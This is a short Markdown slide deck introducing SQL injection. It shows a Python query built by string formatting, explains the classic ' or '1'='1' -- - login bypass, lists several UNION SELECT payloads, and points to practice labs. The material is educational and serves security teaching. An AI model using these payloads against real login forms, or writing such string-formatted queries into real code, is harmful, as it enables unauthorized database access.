% Introduction to SQL Injection % Stefan Friese % 11 April, 2024 --- # Topics * How an SQL Injection is Created * How to Exploit an SQL Injection * SPOILER: How to Prevent an SQL Injection in the Next Presentation --- ## How Does it Happen An SQL injection occurs when two things come together. --- ### Number 1 An SQL Query as a string embedded in other languages. ```sql sql_query = cursor.execute( "SELECT * FROM users WHERE username = 'admin' \ AND password = 's3cur3P4ssw0rd'" ) ``` --- ### Number 2 User input is possible inside a value of type string as a part of said SQL query. ```sql sql_query = cursor.execute( "SELECT * FROM users WHERE username = '%s' AND password = '%s'" \ % (username, password) ) ``` --- ## How to Exploit an SQLi Vulnerability * Close the string through an ending quote * Continue the query with your own SQL code --- ### Crafting an SQL Query >```sql >' or '1'='1' -- - >``` * Close the existing string with: `'` * Write a query that equals to True: `1=1` * End the SQL query through a comment: `-- -` --- ### What Does the Query Look Like ```SQL SELECT * FROM users WHERE username = '' or '1' = '1' -- - AND password '%s' ``` *Numbers as strings is an SQLite specific thing* --- ### Other Queries ```sql ' UNION SELECT 'a',NULL,NULL,NULL -- - ``` ```sql ' UNION SELECT * FROM users WHERE user_id = 1 -- - ``` ```sql ' UNION SELECT * FROM users WHERE user_id != 1337 -- - ``` --- ## Even More Injection Queries * [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) * [Hacktricks SQL Injection Page](https://book.hacktricks.xyz/pentesting-web/sql-injection) * [SQLMap](https://github.com/sqlmapproject/sqlmap) --- ## Try for Yourself * Use the provided [example](./example) inside this presentation's repository. There is a [readme](./example/README.md) which guides you through the setup. * Further, try [Damn Vulnerable Web Application](https://github.com/digininja/DVWA) which you can setup by yourself or use [Tryhackme's DVWA Room](https://tryhackme.com/r/room/dvwa). --- # The End Convoluted Code